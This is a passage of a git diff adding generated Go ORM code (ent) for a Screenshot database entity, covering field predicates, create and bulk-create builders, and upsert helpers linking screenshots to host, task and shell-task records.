ContentEQ applies the EQ predicate on the "content" field. +func ContentEQ(v []byte) predicate.Screenshot { + return predicate.Screenshot(sql.FieldEQ(FieldContent, v)) +} + +// ContentNEQ applies the NEQ predicate on the "content" field. +func ContentNEQ(v []byte) predicate.Screenshot { + return predicate.Screenshot(sql.FieldNEQ(FieldContent, v)) +} + +// ContentIn applies the In predicate on the "content" field. +func ContentIn(vs ...[]byte) predicate.Screenshot { + return predicate.Screenshot(sql.FieldIn(FieldContent, vs...)) +} + +// ContentNotIn applies the NotIn predicate on the "content" field. +func ContentNotIn(vs ...[]byte) predicate.Screenshot { + return predicate.Screenshot(sql.FieldNotIn(FieldContent, vs...)) +} + +// ContentGT applies the GT predicate on the "content" field. +func ContentGT(v []byte) predicate.Screenshot { + return predicate.Screenshot(sql.FieldGT(FieldContent, v)) +} + +// ContentGTE applies the GTE predicate on the "content" field. +func ContentGTE(v []byte) predicate.Screenshot { + return predicate.Screenshot(sql.FieldGTE(FieldContent, v)) +} + +// ContentLT applies the LT predicate on the "content" field. +func ContentLT(v []byte) predicate.Screenshot { + return predicate.Screenshot(sql.FieldLT(FieldContent, v)) +} + +// ContentLTE applies the LTE predicate on the "content" field. +func ContentLTE(v []byte) predicate.Screenshot { + return predicate.Screenshot(sql.FieldLTE(FieldContent, v)) +} + +// ContentIsNil applies the IsNil predicate on the "content" field. +func ContentIsNil() predicate.Screenshot { + return predicate.Screenshot(sql.FieldIsNull(FieldContent)) +} + +// ContentNotNil applies the NotNil predicate on the "content" field. +func ContentNotNil() predicate.Screenshot { + return predicate.Screenshot(sql.FieldNotNull(FieldContent)) +} + +// HasHost applies the HasEdge predicate on the "host" edge. +func HasHost() predicate.Screenshot { + return predicate.Screenshot(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.Edge(sqlgraph.M2O, false, HostTable, HostColumn), + ) + sqlgraph.HasNeighbors(s, step) + }) +} + +// HasHostWith applies the HasEdge predicate on the "host" edge with a given conditions (other predicates). +func HasHostWith(preds ...predicate.Host) predicate.Screenshot { + return predicate.Screenshot(func(s *sql.Selector) { + step := newHostStep() + sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) { + for _, p := range preds { + p(s) + } + }) + }) +} + +// HasTask applies the HasEdge predicate on the "task" edge. +func HasTask() predicate.Screenshot { + return predicate.Screenshot(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.Edge(sqlgraph.M2O, true, TaskTable, TaskColumn), + ) + sqlgraph.HasNeighbors(s, step) + }) +} + +// HasTaskWith applies the HasEdge predicate on the "task" edge with a given conditions (other predicates). +func HasTaskWith(preds ...predicate.Task) predicate.Screenshot { + return predicate.Screenshot(func(s *sql.Selector) { + step := newTaskStep() + sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) { + for _, p := range preds { + p(s) + } + }) + }) +} + +// HasShellTask applies the HasEdge predicate on the "shell_task" edge. +func HasShellTask() predicate.Screenshot { + return predicate.Screenshot(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.Edge(sqlgraph.M2O, true, ShellTaskTable, ShellTaskColumn), + ) + sqlgraph.HasNeighbors(s, step) + }) +} + +// HasShellTaskWith applies the HasEdge predicate on the "shell_task" edge with a given conditions (other predicates). +func HasShellTaskWith(preds ...predicate.ShellTask) predicate.Screenshot { + return predicate.Screenshot(func(s *sql.Selector) { + step := newShellTaskStep() + sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) { + for _, p := range preds { + p(s) + } + }) + }) +} + +// And groups predicates with the AND operator between them. +func And(predicates ...predicate.Screenshot) predicate.Screenshot { + return predicate.Screenshot(sql.AndPredicates(predicates...)) +} + +// Or groups predicates with the OR operator between them. +func Or(predicates ...predicate.Screenshot) predicate.Screenshot { + return predicate.Screenshot(sql.OrPredicates(predicates...)) +} + +// Not applies the not operator on the given predicate. +func Not(p predicate.Screenshot) predicate.Screenshot { + return predicate.Screenshot(sql.NotPredicates(p)) +} diff --git a/tavern/internal/ent/screenshot_create.go b/tavern/internal/ent/screenshot_create.go new file mode 100644 index 000000000..c50ac2fbf --- /dev/null +++ b/tavern/internal/ent/screenshot_create.go @@ -0,0 +1,926 @@ +// Code generated by ent, DO NOT EDIT. + +package ent + +import ( + "context" + "errors" + "fmt" + "time" + + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "realm.pub/tavern/internal/ent/host" + "realm.pub/tavern/internal/ent/screenshot" + "realm.pub/tavern/internal/ent/shelltask" + "realm.pub/tavern/internal/ent/task" +) + +// ScreenshotCreate is the builder for creating a Screenshot entity. +type ScreenshotCreate struct { + config + mutation *ScreenshotMutation + hooks []Hook + conflict []sql.ConflictOption +} + +// SetCreatedAt sets the "created_at" field. +func (sc *ScreenshotCreate) SetCreatedAt(t time.Time) *ScreenshotCreate { + sc.mutation.SetCreatedAt(t) + return sc +} + +// SetNillableCreatedAt sets the "created_at" field if the given value is not nil. +func (sc *ScreenshotCreate) SetNillableCreatedAt(t *time.Time) *ScreenshotCreate { + if t != nil { + sc.SetCreatedAt(*t) + } + return sc +} + +// SetLastModifiedAt sets the "last_modified_at" field. +func (sc *ScreenshotCreate) SetLastModifiedAt(t time.Time) *ScreenshotCreate { + sc.mutation.SetLastModifiedAt(t) + return sc +} + +// SetNillableLastModifiedAt sets the "last_modified_at" field if the given value is not nil. +func (sc *ScreenshotCreate) SetNillableLastModifiedAt(t *time.Time) *ScreenshotCreate { + if t != nil { + sc.SetLastModifiedAt(*t) + } + return sc +} + +// SetName sets the "name" field. +func (sc *ScreenshotCreate) SetName(s string) *ScreenshotCreate { + sc.mutation.SetName(s) + return sc +} + +// SetSize sets the "size" field. +func (sc *ScreenshotCreate) SetSize(u uint64) *ScreenshotCreate { + sc.mutation.SetSize(u) + return sc +} + +// SetNillableSize sets the "size" field if the given value is not nil. +func (sc *ScreenshotCreate) SetNillableSize(u *uint64) *ScreenshotCreate { + if u != nil { + sc.SetSize(*u) + } + return sc +} + +// SetHash sets the "hash" field. +func (sc *ScreenshotCreate) SetHash(s string) *ScreenshotCreate { + sc.mutation.SetHash(s) + return sc +} + +// SetNillableHash sets the "hash" field if the given value is not nil. +func (sc *ScreenshotCreate) SetNillableHash(s *string) *ScreenshotCreate { + if s != nil { + sc.SetHash(*s) + } + return sc +} + +// SetContent sets the "content" field. +func (sc *ScreenshotCreate) SetContent(b []byte) *ScreenshotCreate { + sc.mutation.SetContent(b) + return sc +} + +// SetHostID sets the "host" edge to the Host entity by ID. +func (sc *ScreenshotCreate) SetHostID(id int) *ScreenshotCreate { + sc.mutation.SetHostID(id) + return sc +} + +// SetHost sets the "host" edge to the Host entity. +func (sc *ScreenshotCreate) SetHost(h *Host) *ScreenshotCreate { + return sc.SetHostID(h.ID) +} + +// SetTaskID sets the "task" edge to the Task entity by ID. +func (sc *ScreenshotCreate) SetTaskID(id int) *ScreenshotCreate { + sc.mutation.SetTaskID(id) + return sc +} + +// SetNillableTaskID sets the "task" edge to the Task entity by ID if the given value is not nil. +func (sc *ScreenshotCreate) SetNillableTaskID(id *int) *ScreenshotCreate { + if id != nil { + sc = sc.SetTaskID(*id) + } + return sc +} + +// SetTask sets the "task" edge to the Task entity. +func (sc *ScreenshotCreate) SetTask(t *Task) *ScreenshotCreate { + return sc.SetTaskID(t.ID) +} + +// SetShellTaskID sets the "shell_task" edge to the ShellTask entity by ID. +func (sc *ScreenshotCreate) SetShellTaskID(id int) *ScreenshotCreate { + sc.mutation.SetShellTaskID(id) + return sc +} + +// SetNillableShellTaskID sets the "shell_task" edge to the ShellTask entity by ID if the given value is not nil. +func (sc *ScreenshotCreate) SetNillableShellTaskID(id *int) *ScreenshotCreate { + if id != nil { + sc = sc.SetShellTaskID(*id) + } + return sc +} + +// SetShellTask sets the "shell_task" edge to the ShellTask entity. +func (sc *ScreenshotCreate) SetShellTask(s *ShellTask) *ScreenshotCreate { + return sc.SetShellTaskID(s.ID) +} + +// Mutation returns the ScreenshotMutation object of the builder. +func (sc *ScreenshotCreate) Mutation() *ScreenshotMutation { + return sc.mutation +} + +// Save creates the Screenshot in the database. +func (sc *ScreenshotCreate) Save(ctx context.Context) (*Screenshot, error) { + if err := sc.defaults(); err != nil { + return nil, err + } + return withHooks(ctx, sc.sqlSave, sc.mutation, sc.hooks) +} + +// SaveX calls Save and panics if Save returns an error. +func (sc *ScreenshotCreate) SaveX(ctx context.Context) *Screenshot { + v, err := sc.Save(ctx) + if err != nil { + panic(err) + } + return v +} + +// Exec executes the query. +func (sc *ScreenshotCreate) Exec(ctx context.Context) error { + _, err := sc.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (sc *ScreenshotCreate) ExecX(ctx context.Context) { + if err := sc.Exec(ctx); err != nil { + panic(err) + } +} + +// defaults sets the default values of the builder before save. +func (sc *ScreenshotCreate) defaults() error { + if _, ok := sc.mutation.CreatedAt(); !ok { + if screenshot.DefaultCreatedAt == nil { + return fmt.Errorf("ent: uninitialized screenshot.DefaultCreatedAt (forgotten import ent/runtime?)") + } + v := screenshot.DefaultCreatedAt() + sc.mutation.SetCreatedAt(v) + } + if _, ok := sc.mutation.LastModifiedAt(); !ok { + if screenshot.DefaultLastModifiedAt == nil { + return fmt.Errorf("ent: uninitialized screenshot.DefaultLastModifiedAt (forgotten import ent/runtime?)") + } + v := screenshot.DefaultLastModifiedAt() + sc.mutation.SetLastModifiedAt(v) + } + if _, ok := sc.mutation.Size(); !ok { + v := screenshot.DefaultSize + sc.mutation.SetSize(v) + } + return nil +} + +// check runs all checks and user-defined validators on the builder. +func (sc *ScreenshotCreate) check() error { + if _, ok := sc.mutation.CreatedAt(); !ok { + return &ValidationError{Name: "created_at", err: errors.New(`ent: missing required field "Screenshot.created_at"`)} + } + if _, ok := sc.mutation.LastModifiedAt(); !ok { + return &ValidationError{Name: "last_modified_at", err: errors.New(`ent: missing required field "Screenshot.last_modified_at"`)} + } + if _, ok := sc.mutation.Name(); !ok { + return &ValidationError{Name: "name", err: errors.New(`ent: missing required field "Screenshot.name"`)} + } + if v, ok := sc.mutation.Name(); ok { + if err := screenshot.NameValidator(v); err != nil { + return &ValidationError{Name: "name", err: fmt.Errorf(`ent: validator failed for field "Screenshot.name": %w`, err)} + } + } + if _, ok := sc.mutation.Size(); !ok { + return &ValidationError{Name: "size", err: errors.New(`ent: missing required field "Screenshot.size"`)} + } + if v, ok := sc.mutation.Size(); ok { + if err := screenshot.SizeValidator(v); err != nil { + return &ValidationError{Name: "size", err: fmt.Errorf(`ent: validator failed for field "Screenshot.size": %w`, err)} + } + } + if v, ok := sc.mutation.Hash(); ok { + if err := screenshot.HashValidator(v); err != nil { + return &ValidationError{Name: "hash", err: fmt.Errorf(`ent: validator failed for field "Screenshot.hash": %w`, err)} + } + } + if len(sc.mutation.HostIDs()) == 0 { + return &ValidationError{Name: "host", err: errors.New(`ent: missing required edge "Screenshot.host"`)} + } + return nil +} + +func (sc *ScreenshotCreate) sqlSave(ctx context.Context) (*Screenshot, error) { + if err := sc.check(); err != nil { + return nil, err + } + _node, _spec := sc.createSpec() + if err := sqlgraph.CreateNode(ctx, sc.driver, _spec); err != nil { + if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{msg: err.Error(), wrap: err} + } + return nil, err + } + id := _spec.ID.Value.(int64) + _node.ID = int(id) + sc.mutation.id = &_node.ID + sc.mutation.done = true + return _node, nil +} + +func (sc *ScreenshotCreate) createSpec() (*Screenshot, *sqlgraph.CreateSpec) { + var ( + _node = &Screenshot{config: sc.config} + _spec = sqlgraph.NewCreateSpec(screenshot.Table, sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt)) + ) + _spec.OnConflict = sc.conflict + if value, ok := sc.mutation.CreatedAt(); ok { + _spec.SetField(screenshot.FieldCreatedAt, field.TypeTime, value) + _node.CreatedAt = value + } + if value, ok := sc.mutation.LastModifiedAt(); ok { + _spec.SetField(screenshot.FieldLastModifiedAt, field.TypeTime, value) + _node.LastModifiedAt = value + } + if value, ok := sc.mutation.Name(); ok { + _spec.SetField(screenshot.FieldName, field.TypeString, value) + _node.Name = value + } + if value, ok := sc.mutation.Size(); ok { + _spec.SetField(screenshot.FieldSize, field.TypeUint64, value) + _node.Size = value + } + if value, ok := sc.mutation.Hash(); ok { + _spec.SetField(screenshot.FieldHash, field.TypeString, value) + _node.Hash = value + } + if value, ok := sc.mutation.Content(); ok { + _spec.SetField(screenshot.FieldContent, field.TypeBytes, value) + _node.Content = value + } + if nodes := sc.mutation.HostIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: false, + Table: screenshot.HostTable, + Columns: []string{screenshot.HostColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(host.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _node.screenshot_host = &nodes[0] + _spec.Edges = append(_spec.Edges, edge) + } + if nodes := sc.mutation.TaskIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: true, + Table: screenshot.TaskTable, + Columns: []string{screenshot.TaskColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(task.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _node.task_screenshots = &nodes[0] + _spec.Edges = append(_spec.Edges, edge) + } + if nodes := sc.mutation.ShellTaskIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: true, + Table: screenshot.ShellTaskTable, + Columns: []string{screenshot.ShellTaskColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(shelltask.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _node.shell_task_screenshots = &nodes[0] + _spec.Edges = append(_spec.Edges, edge) + } + return _node, _spec +} + +// OnConflict allows configuring the `ON CONFLICT` / `ON DUPLICATE KEY` clause +// of the `INSERT` statement. For example: +// +// client.Screenshot.Create(). +// SetCreatedAt(v). +// OnConflict( +// // Update the row with the new values +// // the was proposed for insertion. +// sql.ResolveWithNewValues(), +// ). +// // Override some of the fields with custom +// // update values. +// Update(func(u *ent.ScreenshotUpsert) { +// SetCreatedAt(v+v). +// }). +// Exec(ctx) +func (sc *ScreenshotCreate) OnConflict(opts ...sql.ConflictOption) *ScreenshotUpsertOne { + sc.conflict = opts + return &ScreenshotUpsertOne{ + create: sc, + } +} + +// OnConflictColumns calls `OnConflict` and configures the columns +// as conflict target. Using this option is equivalent to using: +// +// client.Screenshot.Create(). +// OnConflict(sql.ConflictColumns(columns...)). +// Exec(ctx) +func (sc *ScreenshotCreate) OnConflictColumns(columns ...string) *ScreenshotUpsertOne { + sc.conflict = append(sc.conflict, sql.ConflictColumns(columns...)) + return &ScreenshotUpsertOne{ + create: sc, + } +} + +type ( + // ScreenshotUpsertOne is the builder for "upsert"-ing + // one Screenshot node. + ScreenshotUpsertOne struct { + create *ScreenshotCreate + } + + // ScreenshotUpsert is the "OnConflict" setter. + ScreenshotUpsert struct { + *sql.UpdateSet + } +) + +// SetLastModifiedAt sets the "last_modified_at" field. +func (u *ScreenshotUpsert) SetLastModifiedAt(v time.Time) *ScreenshotUpsert { + u.Set(screenshot.FieldLastModifiedAt, v) + return u +} + +// UpdateLastModifiedAt sets the "last_modified_at" field to the value that was provided on create. +func (u *ScreenshotUpsert) UpdateLastModifiedAt() *ScreenshotUpsert { + u.SetExcluded(screenshot.FieldLastModifiedAt) + return u +} + +// SetName sets the "name" field. +func (u *ScreenshotUpsert) SetName(v string) *ScreenshotUpsert { + u.Set(screenshot.FieldName, v) + return u +} + +// UpdateName sets the "name" field to the value that was provided on create. +func (u *ScreenshotUpsert) UpdateName() *ScreenshotUpsert { + u.SetExcluded(screenshot.FieldName) + return u +} + +// SetSize sets the "size" field. +func (u *ScreenshotUpsert) SetSize(v uint64) *ScreenshotUpsert { + u.Set(screenshot.FieldSize, v) + return u +} + +// UpdateSize sets the "size" field to the value that was provided on create. +func (u *ScreenshotUpsert) UpdateSize() *ScreenshotUpsert { + u.SetExcluded(screenshot.FieldSize) + return u +} + +// AddSize adds v to the "size" field. +func (u *ScreenshotUpsert) AddSize(v uint64) *ScreenshotUpsert { + u.Add(screenshot.FieldSize, v) + return u +} + +// SetHash sets the "hash" field. +func (u *ScreenshotUpsert) SetHash(v string) *ScreenshotUpsert { + u.Set(screenshot.FieldHash, v) + return u +} + +// UpdateHash sets the "hash" field to the value that was provided on create. +func (u *ScreenshotUpsert) UpdateHash() *ScreenshotUpsert { + u.SetExcluded(screenshot.FieldHash) + return u +} + +// ClearHash clears the value of the "hash" field. +func (u *ScreenshotUpsert) ClearHash() *ScreenshotUpsert { + u.SetNull(screenshot.FieldHash) + return u +} + +// SetContent sets the "content" field. +func (u *ScreenshotUpsert) SetContent(v []byte) *ScreenshotUpsert { + u.Set(screenshot.FieldContent, v) + return u +} + +// UpdateContent sets the "content" field to the value that was provided on create. +func (u *ScreenshotUpsert) UpdateContent() *ScreenshotUpsert { + u.SetExcluded(screenshot.FieldContent) + return u +} + +// ClearContent clears the value of the "content" field. +func (u *ScreenshotUpsert) ClearContent() *ScreenshotUpsert { + u.SetNull(screenshot.FieldContent) + return u +} + +// UpdateNewValues updates the mutable fields using the new values that were set on create. +// Using this option is equivalent to using: +// +// client.Screenshot.Create(). +// OnConflict( +// sql.ResolveWithNewValues(), +// ). +// Exec(ctx) +func (u *ScreenshotUpsertOne) UpdateNewValues() *ScreenshotUpsertOne { + u.create.conflict = append(u.create.conflict, sql.ResolveWithNewValues()) + u.create.conflict = append(u.create.conflict, sql.ResolveWith(func(s *sql.UpdateSet) { + if _, exists := u.create.mutation.CreatedAt(); exists { + s.SetIgnore(screenshot.FieldCreatedAt) + } + })) + return u +} + +// Ignore sets each column to itself in case of conflict. +// Using this option is equivalent to using: +// +// client.Screenshot.Create(). +// OnConflict(sql.ResolveWithIgnore()). +// Exec(ctx) +func (u *ScreenshotUpsertOne) Ignore() *ScreenshotUpsertOne { + u.create.conflict = append(u.create.conflict, sql.ResolveWithIgnore()) + return u +} + +// DoNothing configures the conflict_action to `DO NOTHING`. +// Supported only by SQLite and PostgreSQL. +func (u *ScreenshotUpsertOne) DoNothing() *ScreenshotUpsertOne { + u.create.conflict = append(u.create.conflict, sql.DoNothing()) + return u +} + +// Update allows overriding fields `UPDATE` values. See the ScreenshotCreate.OnConflict +// documentation for more info. +func (u *ScreenshotUpsertOne) Update(set func(*ScreenshotUpsert)) *ScreenshotUpsertOne { + u.create.conflict = append(u.create.conflict, sql.ResolveWith(func(update *sql.UpdateSet) { + set(&ScreenshotUpsert{UpdateSet: update}) + })) + return u +} + +// SetLastModifiedAt sets the "last_modified_at" field. +func (u *ScreenshotUpsertOne) SetLastModifiedAt(v time.Time) *ScreenshotUpsertOne { + return u.Update(func(s *ScreenshotUpsert) { + s.SetLastModifiedAt(v) + }) +} + +// UpdateLastModifiedAt sets the "last_modified_at" field to the value that was provided on create. +func (u *ScreenshotUpsertOne) UpdateLastModifiedAt() *ScreenshotUpsertOne { + return u.Update(func(s *ScreenshotUpsert) { + s.UpdateLastModifiedAt() + }) +} + +// SetName sets the "name" field. +func (u *ScreenshotUpsertOne) SetName(v string) *ScreenshotUpsertOne { + return u.Update(func(s *ScreenshotUpsert) { + s.SetName(v) + }) +} + +// UpdateName sets the "name" field to the value that was provided on create. +func (u *ScreenshotUpsertOne) UpdateName() *ScreenshotUpsertOne { + return u.Update(func(s *ScreenshotUpsert) { + s.UpdateName() + }) +} + +// SetSize sets the "size" field. +func (u *ScreenshotUpsertOne) SetSize(v uint64) *ScreenshotUpsertOne { + return u.Update(func(s *ScreenshotUpsert) { + s.SetSize(v) + }) +} + +// AddSize adds v to the "size" field. +func (u *ScreenshotUpsertOne) AddSize(v uint64) *ScreenshotUpsertOne { + return u.Update(func(s *ScreenshotUpsert) { + s.AddSize(v) + }) +} + +// UpdateSize sets the "size" field to the value that was provided on create. +func (u *ScreenshotUpsertOne) UpdateSize() *ScreenshotUpsertOne { + return u.Update(func(s *ScreenshotUpsert) { + s.UpdateSize() + }) +} + +// SetHash sets the "hash" field. +func (u *ScreenshotUpsertOne) SetHash(v string) *ScreenshotUpsertOne { + return u.Update(func(s *ScreenshotUpsert) { + s.SetHash(v) + }) +} + +// UpdateHash sets the "hash" field to the value that was provided on create. +func (u *ScreenshotUpsertOne) UpdateHash() *ScreenshotUpsertOne { + return u.Update(func(s *ScreenshotUpsert) { + s.UpdateHash() + }) +} + +// ClearHash clears the value of the "hash" field. +func (u *ScreenshotUpsertOne) ClearHash() *ScreenshotUpsertOne { + return u.Update(func(s *ScreenshotUpsert) { + s.ClearHash() + }) +} + +// SetContent sets the "content" field. +func (u *ScreenshotUpsertOne) SetContent(v []byte) *ScreenshotUpsertOne { + return u.Update(func(s *ScreenshotUpsert) { + s.SetContent(v) + }) +} + +// UpdateContent sets the "content" field to the value that was provided on create. +func (u *ScreenshotUpsertOne) UpdateContent() *ScreenshotUpsertOne { + return u.Update(func(s *ScreenshotUpsert) { + s.UpdateContent() + }) +} + +// ClearContent clears the value of the "content" field. +func (u *ScreenshotUpsertOne) ClearContent() *ScreenshotUpsertOne { + return u.Update(func(s *ScreenshotUpsert) { + s.ClearContent() + }) +} + +// Exec executes the query. +func (u *ScreenshotUpsertOne) Exec(ctx context.Context) error { + if len(u.create.conflict) == 0 { + return errors.New("ent: missing options for ScreenshotCreate.OnConflict") + } + return u.create.Exec(ctx) +} + +// ExecX is like Exec, but panics if an error occurs. +func (u *ScreenshotUpsertOne) ExecX(ctx context.Context) { + if err := u.create.Exec(ctx); err != nil { + panic(err) + } +} + +// Exec executes the UPSERT query and returns the inserted/updated ID. +func (u *ScreenshotUpsertOne) ID(ctx context.Context) (id int, err error) { + node, err := u.create.Save(ctx) + if err != nil { + return id, err + } + return node.ID, nil +} + +// IDX is like ID, but panics if an error occurs. +func (u *ScreenshotUpsertOne) IDX(ctx context.Context) int { + id, err := u.ID(ctx) + if err != nil { + panic(err) + } + return id +} + +// ScreenshotCreateBulk is the builder for creating many Screenshot entities in bulk. +type ScreenshotCreateBulk struct { + config + err error + builders []*ScreenshotCreate + conflict []sql.ConflictOption +} + +// Save creates the Screenshot entities in the database. +func (scb *ScreenshotCreateBulk) Save(ctx context.Context) ([]*Screenshot, error) { + if scb.err != nil { + return nil, scb.err + } + specs := make([]*sqlgraph.CreateSpec, len(scb.builders)) + nodes := make([]*Screenshot, len(scb.builders)) + mutators := make([]Mutator, len(scb.builders)) + for i := range scb.builders { + func(i int, root context.Context) { + builder := scb.builders[i] + builder.defaults() + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ScreenshotMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err := builder.check(); err != nil { + return nil, err + } + builder.mutation = mutation + var err error + nodes[i], specs[i] = builder.createSpec() + if i < len(mutators)-1 { + _, err = mutators[i+1].Mutate(root, scb.builders[i+1].mutation) + } else { + spec := &sqlgraph.BatchCreateSpec{Nodes: specs} + spec.OnConflict = scb.conflict + // Invoke the actual operation on the latest mutation in the chain. + if err = sqlgraph.BatchCreate(ctx, scb.driver, spec); err != nil { + if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{msg: err.Error(), wrap: err} + } + } + } + if err != nil { + return nil, err + } + mutation.id = &nodes[i].ID + if specs[i].ID.Value != nil { + id := specs[i].ID.Value.(int64) + nodes[i].ID = int(id) + } + mutation.done = true + return nodes[i], nil + }) + for i := len(builder.hooks) - 1; i >= 0; i-- { + mut = builder.hooks[i](mut) + } + mutators[i] = mut + }(i, ctx) + } + if len(mutators) > 0 { + if _, err := mutators[0].Mutate(ctx, scb.builders[0].mutation); err != nil { + return nil, err + } + } + return nodes, nil +} + +// SaveX is like Save, but panics if an error occurs. +func (scb *ScreenshotCreateBulk) SaveX(ctx context.Context) []*Screenshot { + v, err := scb.Save(ctx) + if err != nil { + panic(err) + } + return v +} + +// Exec executes the query. +func (scb *ScreenshotCreateBulk) Exec(ctx context.Context) error { + _, err := scb.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (scb *ScreenshotCreateBulk) ExecX(ctx context.Context) { + if err := scb.Exec(ctx); err != nil { + panic(err) + } +} + +// OnConflict allows configuring the `ON CONFLICT` / `ON DUPLICATE KEY` clause +// of the `INSERT` statement. For example: +// +// client.Screenshot.CreateBulk(builders...). +// OnConflict( +// // Update the row with the new values +// // the was proposed for insertion. +// sql.ResolveWithNewValues(), +// ). +// // Override some of the fields with custom +// // update values. +// Update(func(u *ent.ScreenshotUpsert) { +// SetCreatedAt(v+v). +// }). +// Exec(ctx) +func (scb *ScreenshotCreateBulk) OnConflict(opts ...sql.ConflictOption) *ScreenshotUpsertBulk { + scb.conflict = opts + return &ScreenshotUpsertBulk{ + create: scb, + } +} + +// OnConflictColumns calls `OnConflict` and configures the columns +// as conflict target. Using this option is equivalent to using: +// +// client.Screenshot.Create(). +// OnConflict(sql.ConflictColumns(columns...)). +// Exec(ctx) +func (scb *ScreenshotCreateBulk) OnConflictColumns(columns ...string) *ScreenshotUpsertBulk { + scb.conflict = append(scb.conflict, sql.ConflictColumns(columns...)) + return &ScreenshotUpsertBulk{ + create: scb, + } +} + +// ScreenshotUpsertBulk is the builder for "upsert"-ing +// a bulk of Screenshot nodes. +type ScreenshotUpsertBulk struct { + create *ScreenshotCreateBulk +} + +// UpdateNewValues updates the mutable fields using the new values that +// were set on create. Using this option is equivalent to using: +// +// client.Screenshot.Create(). +// OnConflict( +// sql.ResolveWithNewValues(), +// ). +// Exec(ctx) +func (u *ScreenshotUpsertBulk) UpdateNewValues() *ScreenshotUpsertBulk { + u.create.conflict = append(u.create.conflict, sql.ResolveWithNewValues()) + u.create.conflict = append(u.create.conflict, sql.ResolveWith(func(s *sql.UpdateSet) { + for _, b := range u.create.builders { + if _, exists := b.mutation.CreatedAt(); exists { + s.SetIgnore(screenshot.FieldCreatedAt) + } + } + })) + return u +} + +// Ignore sets each column to itself in case of conflict. +// Using this option is equivalent to using: +// +// client.Screenshot.Create(). +// OnConflict(sql.ResolveWithIgnore()). +// Exec(ctx) +func (u *ScreenshotUpsertBulk) Ignore() *ScreenshotUpsertBulk { + u.create.conflict = append(u.create.conflict, sql.ResolveWithIgnore()) + return u +} + +// DoNothing configures the conflict_action to `DO NOTHING`. +// Supported only by SQLite and PostgreSQL. +func (u *ScreenshotUpsertBulk) DoNothing() *ScreenshotUpsertBulk { + u.create.conflict = append(u.create.conflict, sql.DoNothing()) + return u +} + +// Update allows overriding fields `UPDATE` values. See the ScreenshotCreateBulk.OnConflict +// documentation for more info. +func (u *ScreenshotUpsertBulk) Update(set func(*ScreenshotUpsert)) *ScreenshotUpsertBulk { + u.create.conflict = append(u.create.conflict, sql.ResolveWith(func(update *sql.UpdateSet) { + set(&ScreenshotUpsert{UpdateSet: update}) + })) + return u +} + +// SetLastModifiedAt sets the "last_modified_at" field. +func (u *ScreenshotUpsertBulk) SetLastModifiedAt(v time.Time) *ScreenshotUpsertBulk { + return u.Update(func(s *ScreenshotUpsert) { + s.SetLastModifiedAt(v) + }) +} + +// UpdateLastModifiedAt sets the "last_modified_at" field to the value that was provided on create. +func (u *ScreenshotUpsertBulk) UpdateLastModifiedAt() *ScreenshotUpsertBulk { + return u.Update(func(s *ScreenshotUpsert) { + s.UpdateLastModifiedAt() + }) +} + +// SetName sets the "name" field. +func (u *ScreenshotUpsertBulk) SetName(v string) *ScreenshotUpsertBulk { + return u.Update(func(s *ScreenshotUpsert) { + s.SetName(v) + }) +} + +// UpdateName sets the "name" field to the value that was provided on create. +func (u *ScreenshotUpsertBulk) UpdateName() *ScreenshotUpsertBulk { + return u.Update(func(s *ScreenshotUpsert) { + s.UpdateName() + }) +} + +// SetSize sets the "size" field. +func (u *ScreenshotUpsertBulk) SetSize(v uint64) *ScreenshotUpsertBulk { + return u.Update(func(s *ScreenshotUpsert) { + s.SetSize(v) + }) +} + +// AddSize adds v to the "size" field. +func (u *ScreenshotUpsertBulk) AddSize(v uint64) *ScreenshotUpsertBulk { + return u.Update(func(s *ScreenshotUpsert) { + s.AddSize(v) + }) +} + +// UpdateSize sets the "size" field to the value that was provided on create. +func (u *ScreenshotUpsertBulk) UpdateSize() *ScreenshotUpsertBulk { + return u.Update(func(s *ScreenshotUpsert) { + s.UpdateSize() + }) +} + +// SetHash sets the "hash" field. +func (u *ScreenshotUpsertBulk) SetHash(v string) *ScreenshotUpsertBulk { + return u.Update(func(s *ScreenshotUpsert) { + s.SetHash(v) + }) +} + +// UpdateHash sets the "hash" field to the value that was provided on create. +func (u *ScreenshotUpsertBulk) UpdateHash() *ScreenshotUpsertBulk { + return u.Update(func(s *ScreenshotUpsert) { + s.UpdateHash() + }) +} + +// ClearHash clears the value of the "hash" field. +func (u *ScreenshotUpsertBulk) ClearHash() *ScreenshotUpsertBulk { + return u.Update(func(s *ScreenshotUpsert) { + s.ClearHash() + }) +} + +// SetContent sets the "content" field. +func (u *ScreenshotUpsertBulk) SetContent(v []byte) *ScreenshotUpsertBulk { + return u.Update(func(s *ScreenshotUpsert) { + s.SetContent(v) + }) +} + +// UpdateContent sets the "content" field to the value that was provided on 